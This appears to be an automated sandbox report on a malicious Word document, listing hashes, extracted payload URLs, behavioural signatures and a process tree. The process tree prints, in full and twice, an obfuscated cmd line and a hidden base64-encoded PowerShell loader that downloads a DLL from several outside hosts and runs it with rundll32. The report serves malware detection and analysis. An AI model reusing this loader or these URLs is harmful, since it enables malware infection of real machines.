Analysis
-
max time kernel
83s -
max time network
145s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
12-01-2021 20:20
Static task
static1
Behavioral task
behavioral1
Sample
E1-20210112_1959.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
E1-20210112_1959.doc
Resource
win10v20201028
General
-
Target
E1-20210112_1959.doc
-
Size
157KB
-
MD5
512c3b7b2e569cec221339670f9444c6
-
SHA1
413a3f2403985880e8ad0e4d3880c00eeea93c36
-
SHA256
32e85191ad3dfdbc3981cb5cdb0bb35c19721be3604702e8fff800b91b55f854
-
SHA512
e7452bd68bf8c5eeaf58a8f16468ea84bcc0047351dea9525549faffa13112dff97f345296456af544f892f8c3c3a2e753e16830fb6c9d02e83d3241d7500c3c
Malware Config
Extracted
http://baselinealameda.com/j/uoB/
http://abdindash.xyz/b/Yonhx/
https://cavallarigutters.com/samsung-chromebook-etswp/Wdeiub/
https://craku.tech/h/iXbreOs/
https://nicoblogroms.com/c/V9w0b5/
https://www.taradhuay.com/d/oT5uG/
https://altcomconstruction.com/wp-includes/or7/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1532 1836 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 7 976 powershell.exe 9 756 rundll32.exe -
Loads dropped DLL 4 IoCs
Processes:
rundll32.exepid process 596 rundll32.exe 596 rundll32.exe 596 rundll32.exe 596 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Xxiunutljglqzcry\uwwivauidioutsm.lll rundll32.exe -
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1660 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exerundll32.exepid process 976 powershell.exe 976 powershell.exe 756 rundll32.exe 756 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 976 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1660 WINWORD.EXE 1660 WINWORD.EXE -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 1532 wrote to memory of 324 1532 cmd.exe msg.exe PID 1532 wrote to memory of 324 1532 cmd.exe msg.exe PID 1532 wrote to memory of 324 1532 cmd.exe msg.exe PID 1532 wrote to memory of 976 1532 cmd.exe powershell.exe PID 1532 wrote to memory of 976 1532 cmd.exe powershell.exe PID 1532 wrote to memory of 976 1532 cmd.exe powershell.exe PID 976 wrote to memory of 912 976 powershell.exe rundll32.exe PID 976 wrote to memory of 912 976 powershell.exe rundll32.exe PID 976 wrote to memory of 912 976 powershell.exe rundll32.exe PID 912 wrote to memory of 596 912 rundll32.exe rundll32.exe PID 912 wrote to memory of 596 912 rundll32.exe rundll32.exe PID 912 wrote to memory of 596 912 rundll32.exe rundll32.exe PID 912 wrote to memory of 596 912 rundll32.exe rundll32.exe PID 912 wrote to memory of 596 912 rundll32.exe rundll32.exe PID 912 wrote to memory of 596 912 rundll32.exe rundll32.exe PID 912 wrote to memory of 596 912 rundll32.exe rundll32.exe PID 596 wrote to memory of 756 596 rundll32.exe rundll32.exe PID 596 wrote to memory of 756 596 rundll32.exe rundll32.exe PID 596 wrote to memory of 756 596 rundll32.exe rundll32.exe PID 596 wrote to memory of 756 596 rundll32.exe rundll32.exe PID 596 wrote to memory of 756 596 rundll32.exe rundll32.exe PID 596 wrote to memory of 756 596 rundll32.exe rundll32.exe PID 596 wrote to memory of 756 596 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E1-20210112_1959.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xxiunutljglqzcry\uwwivauidioutsm.lll",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
13fd7b66aa0d9a9ae61ae47853352e5f
SHA10bda51b70d8f86dde426eb85d0a7c65a06041490
SHA256e51dc03253743b5e405e7fb170e04cecdd0573798d8b6298374dbdd505bff4e4
SHA5127fd26a7f02e3cb57fc095275b7a27539c67e750fd0ebfe8ff50175fc159d5c65f7ef2953183ae928089ae258df6e6ed8367f435dae014a6f23ed5c87324905ca
-
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
13fd7b66aa0d9a9ae61ae47853352e5f
SHA10bda51b70d8f86dde426eb85d0a7c65a06041490
SHA256e51dc03253743b5e405e7fb170e04cecdd0573798d8b6298374dbdd505bff4e4
SHA5127fd26a7f02e3cb57fc095275b7a27539c67e750fd0ebfe8ff50175fc159d5c65f7ef2953183ae928089ae258df6e6ed8367f435dae014a6f23ed5c87324905ca
-
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
13fd7b66aa0d9a9ae61ae47853352e5f
SHA10bda51b70d8f86dde426eb85d0a7c65a06041490
SHA256e51dc03253743b5e405e7fb170e04cecdd0573798d8b6298374dbdd505bff4e4
SHA5127fd26a7f02e3cb57fc095275b7a27539c67e750fd0ebfe8ff50175fc159d5c65f7ef2953183ae928089ae258df6e6ed8367f435dae014a6f23ed5c87324905ca
-
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
13fd7b66aa0d9a9ae61ae47853352e5f
SHA10bda51b70d8f86dde426eb85d0a7c65a06041490
SHA256e51dc03253743b5e405e7fb170e04cecdd0573798d8b6298374dbdd505bff4e4
SHA5127fd26a7f02e3cb57fc095275b7a27539c67e750fd0ebfe8ff50175fc159d5c65f7ef2953183ae928089ae258df6e6ed8367f435dae014a6f23ed5c87324905ca
-
\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dllMD5
13fd7b66aa0d9a9ae61ae47853352e5f
SHA10bda51b70d8f86dde426eb85d0a7c65a06041490
SHA256e51dc03253743b5e405e7fb170e04cecdd0573798d8b6298374dbdd505bff4e4
SHA5127fd26a7f02e3cb57fc095275b7a27539c67e750fd0ebfe8ff50175fc159d5c65f7ef2953183ae928089ae258df6e6ed8367f435dae014a6f23ed5c87324905ca
-
memory/324-19-0x000007FEF6F80000-0x000007FEF71FA000-memory.dmpFilesize
2.5MB
-
memory/324-2-0x0000000000000000-mapping.dmp
-
memory/596-13-0x0000000000000000-mapping.dmp
-
memory/756-18-0x0000000000000000-mapping.dmp
-
memory/912-11-0x0000000000000000-mapping.dmp
-
memory/976-6-0x000000001AC20000-0x000000001AC21000-memory.dmpFilesize
4KB
-
memory/976-10-0x000000001B6E0000-0x000000001B6E1000-memory.dmpFilesize
4KB
-
memory/976-9-0x000000001B4D0000-0x000000001B4D1000-memory.dmpFilesize
4KB
-
memory/976-8-0x0000000002560000-0x0000000002561000-memory.dmpFilesize
4KB
-
memory/976-7-0x0000000002470000-0x0000000002471000-memory.dmpFilesize
4KB
-
memory/976-5-0x0000000002520000-0x0000000002521000-memory.dmpFilesize
4KB
-
memory/976-4-0x000007FEF4C40000-0x000007FEF562C000-memory.dmpFilesize
9.9MB
-
memory/976-3-0x0000000000000000-mapping.dmp